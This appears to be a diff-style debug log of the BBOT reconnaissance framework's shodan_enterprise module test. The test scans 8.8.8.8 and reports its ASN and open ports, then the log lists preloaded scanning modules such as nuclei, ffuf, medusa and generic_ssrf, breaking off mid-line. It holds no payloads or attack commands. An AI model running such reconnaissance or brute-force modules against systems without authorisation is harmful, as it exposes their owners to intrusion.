bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:39:35,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:39:35,440 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:39:35,440 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:39:35,442 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:39:35,442 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:39:35,442 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:39:35,442 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:39:35,581 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_lomgxr0qih +2026-03-01 16:39:35,581 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:39:35,692 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:39:35,692 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:39:35,693 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:39:35,694 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-01 16:39:35,794 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-03-01 16:39:35,795 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-01 16:39:35,796 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-03-01 16:39:35,797 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,799 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:39:35,800 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:39:35,800 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:39:35,801 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,802 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:39:35,804 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:39:35,804 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:39:35,806 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:39:35,807 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:39:35,809 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:39:35,809 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:39:35,812 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,813 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:39:35,814 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,814 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,815 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:39:35,815 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:39:35,816 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:39:35,816 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:39:35,816 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,913 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:39:35,914 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:39:35,915 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:57dd08c33f53e25baf755d3dae3806d8c0a004d3', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:39:35,915 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:39:35,916 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:39:35,917 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,917 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:39:35,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,919 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:39:35,919 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:39:35,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,920 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:39:35,921 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,921 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,922 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,922 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:39:35,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:39:35,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:39:35,924 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,924 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,925 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,925 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,926 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,926 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,927 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:39:35,928 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,928 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:39:35,929 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:39:35,929 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:39:35,930 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,930 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,931 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,931 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:39:35,932 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:39:35,933 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,933 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,934 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,935 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:39:35,935 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:35,936 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,936 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:39:35,937 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:39:36,017 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:39:36,018 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:36,019 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:39:36,019 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:39:36,020 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:39:36,020 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:36,021 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:39:36,021 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:39:36,021 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:39:36,023 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:39:36,023 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:39:36,023 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:39:36,024 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:39:36,024 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:39:36,024 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:39:36,025 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:39:36,124 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:39:36,125 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:39:36,142 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:39:36,143 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:39:36,144 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:39:36,150 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:39:36,151 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:39:36,152 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:39:36,152 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:39:36,153 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:39:36,154 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:39:36,279 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_lomgxr0qih completed in 0 seconds with status FINISHED +2026-03-01 16:39:36,280 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:39:36,281 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:39:36,282 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events +2026-03-01 16:39:36,282 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:39:36,282 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 16:39:36,283 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 16:39:55,205 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:39:55,219 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:39:55,220 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:39:55,221 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:39:55,222 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:39:55,223 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:39:55,224 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:39:55,225 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:39:55,226 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:39:55,227 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:39:55,228 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:39:55,228 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:39:55,234 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:39:55,235 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:39:55,236 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:39:55,236 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:39:55,237 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:39:55,238 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:39:55,239 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:39:55,240 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:39:55,240 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:39:55,241 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:39:55,242 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:39:55,243 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:39:55,243 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:39:55,244 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:39:55,245 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:39:55,246 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:39:55,246 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:39:55,247 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:39:55,248 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:39:55,249 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:39:55,249 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:39:55,250 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:39:55,251 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:39:55,252 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:39:55,253 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:39:55,254 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:39:55,260 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:39:55,261 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:39:55,262 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:39:55,263 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:39:55,264 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:39:55,265 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:39:55,266 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:39:55,267 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:39:55,267 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:39:55,268 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:39:55,270 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:39:55,271 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:39:55,271 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:39:55,272 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:39:55,272 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:39:55,273 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:39:55,274 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:39:55,274 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:39:55,275 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:39:55,275 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:39:55,276 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:39:55,276 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:39:55,277 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:39:55,278 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:39:55,279 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:39:55,279 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:39:55,280 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:39:55,281 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:39:55,282 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:39:55,283 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:39:55,283 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:39:55,284 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:39:55,285 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:39:55,285 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:39:55,286 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:39:55,287 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:39:55,287 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:39:55,288 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:39:55,288 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:39:55,289 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:39:55,290 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:39:55,290 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:39:55,291 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:39:55,291 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:39:55,292 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from 